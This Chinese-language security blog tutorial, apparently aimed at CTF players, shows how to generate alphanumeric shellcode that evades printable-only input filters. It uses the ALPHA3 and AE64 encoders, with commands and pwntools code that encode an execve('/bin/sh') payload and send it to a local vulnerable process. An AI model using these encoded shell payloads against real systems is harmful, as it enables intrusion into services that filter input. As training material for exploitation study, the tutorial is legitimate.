freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Alphanumeric Shellcode:纯字符Shellcode生成指南
2020-05-12 15:00:37

alphanumeric shellcode(纯字符shellcode)是比较实用的一项技术,因为有些时候程序会对用户输入的字符进行限制,比如只允许输入可见字符,这时就需要用到纯字符的shellcode了。

原理很简单,就是使用纯字符对应的汇编指令完成shellcode的编写,比如:

ASCII字符Hex汇编指令
P0x50push %rax
Q0x51push %rcx
R0x52push %rdx
S0x53push %rbx
T0x54push %rsp
U0x55push %rbp
V0x56push %rsi
W0x57push %rdi
X0x58pop %rax
Y0x59pop %rcx
Z0x5apop %rdx

其余的就不一一列出了,本篇主要介绍使用工具编码,手动编码可以参考以下几篇文章:

Alphanumeric shellcode

x86纯字符编码表

x64纯字符编码表

alpha3

这个工具源码在google上,国内可以选择从github下载。不过官方代码在Linux环境下运行时有些问题:

% python ALPHA3.py
Traceback (most recent call last):
  File "ALPHA3.py", line 4, in <module>
    import charsets, encode, io
  File "/home/taqini/ctf_tools/alpha3/encode.py", line 1, in <module>
    import ALPHA3
  File "/home/taqini/ctf_tools/alpha3/ALPHA3.py", line 5, in <module>
    import x86, x64, test
  File "/home/taqini/ctf_tools/alpha3/test/__init__.py", line 25, in <module>
    raise OSError("Unsupported platform for testing.");
OSError: Unsupported platform for testing.

看下报错信息,发现错误在test/__init__.py中,打开源码,发现有个判断平台的代码,如果不是win32就报错,解决方法很简单,只需要把后两行代码注释掉就行,修改如下:

if (sys.platform == 'win32'):
    # ...
    TEST_SHELLCODE_OUTPUT = "Hello, world!\r\n"
#else:
#  raise OSError("Unsupported platform for testing.");

再次运行就正常:

% python ALPHA3.py
____________________________________________________________________________
      ,sSSs,,s,  ,sSSSs,    ALPHA3 - Alphanumeric shellcode encoder.
     dS"  Y$P"  YS"  ,SY    Version 1.0 alpha
    iS'   dY       ssS"     Copyright (C) 2003-2009 by SkyLined.
    YS,  dSb   SP,  ;SP     <berendjanwever@gmail.com>
    `"YSS'"S'  "YSSSY"      http://skypher.com/wiki/index.php/ALPHA3
____________________________________________________________________________

[Usage]
  ALPHA3.py  [ encoder settings | I/O settings | flags ]

# ...

修改完之后还需要编译源码,但是编译源码的工具也在google上,如果懒得自己编译,可以直接下载我修改版: https://github.com/TaQini/alpha3

git clone https://github.com/TaQini/alpha3.git


生成shellcode

from pwn import *
context.arch='amd64'
sc = shellcraft.sh()
print asm(sc)

将上述代码保存成sc.py放到alpha3目录下,然后执行如下命令生成待编码的shellcode文件

python sc.py > shellcode

默认生成的是x64的sys_execve("/bin/sh",0,0),可以修改成其他的arch或shellcode

x64 alpha编码

生成x64 alpha shellcode

python ./ALPHA3.py x64 ascii mixedcase rax --input="shellcode"

或者用我写的脚本:

./shellcode_x64.sh rax

其中输入文件为shellcoderax是用于编码的寄存器(shellcode基址)

比如有如下代码:

  00101246 48 8d     LEA    RAX,[RBP + -0x410]
           85 f0 
           fb ff 
  0010124d ff d0     CALL   RAX
  ; ...

通过call rax跳转到shellcode,那么alpha3命令中用于编码的寄存器就是rax

shellcode的起始地址存在哪个寄存器中,用于编码的寄存器就是哪个

x86 alpha编码

alpha3中x64的shellcode只要上述mixedcase一种情况,x86的选项比较多:

x86 ascii uppercase (数字+大写字母)

x86 ascii lowercase (数字+小写字母)

x86 ascii mixedcase (数字+大小写字母)

用法与x64相似,不赘述啦~

全部编码方式

alpha3支持的所有编码方式如下:

Valid base address examples for each encoder, ordered by encoder settings,
are:

[x64 ascii mixedcase]
  AscMix (r64)              RAX RCX RDX RBX RSP RBP RSI RDI

[x86 ascii lowercase]
  AscLow 0x30 (rm32)        ECX EDX EBX

[x86 ascii mixedcase]
  AscMix 0x30 (rm32)        EAX ECX EDX EBX ESP EBP ESI EDI [EAX] [ECX]
                            [EDX] [EBX] [ESP] [EBP] [ESI] [EDI] [ESP-4]
                            ECX+2 ESI+4 ESI+8
  AscMix 0x30 (i32)         (address)
  AscMix Countslide (rm32)  countslide:EAX+offset~uncertainty
                            countslide:EBX+offset~uncertainty
                            countslide:ECX+offset~uncertainty
                            countslide:EDX+offset~uncertainty
                            countslide:ESI+offset~uncertainty
                            countslide:EDI+offset~uncertainty
  AscMix Countslide (i32)   countslide:address~uncertainty
  AscMix SEH GetPC (XPsp3)  seh_getpc_xpsp3

[x86 ascii uppercase]
  AscUpp 0x30 (rm32)        EAX ECX EDX EBX ESP EBP ESI EDI [EAX] [ECX]
                            [EDX] [EBX] [ESP] [EBP] [ESI] [EDI]

[x86 latin-1 mixedcase]
  Latin1Mix CALL GetPC      call

[x86 utf-16 uppercase]
  UniUpper 0x10 (rm32)      EAX ECX EDX EBX ESP EBP ESI EDI [EAX] [ECX]
                            [EDX] [EBX] [ESP] [EBP] [ESI] [EDI]

AE64

AE64是杭电的一位大师傅写的工具,专用于生成64位的aplha shellcode。下载方式:

git clone https://github.com/veritas501/ae64.git

AE64的优势在于编码时可以更加灵活地使用寄存器,但是生成的alpha shellcode比alpha3要更长一些。

此外AE64是python写的,可以直接在python中调用,以下是官方的栗子:

from pwn import *
from ae64 import AE64

context.log_level = 'debug'
context.arch = 'amd64'

p = process('./example1')

obj = AE64()
sc = obj.encode(asm(shellcraft.sh()),'r13')

p.sendline(sc)

p.interactive()

*本文作者:taqini,转载请注明来自FreeBuf.COM

# shellcode # alphanumeric shellcode
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者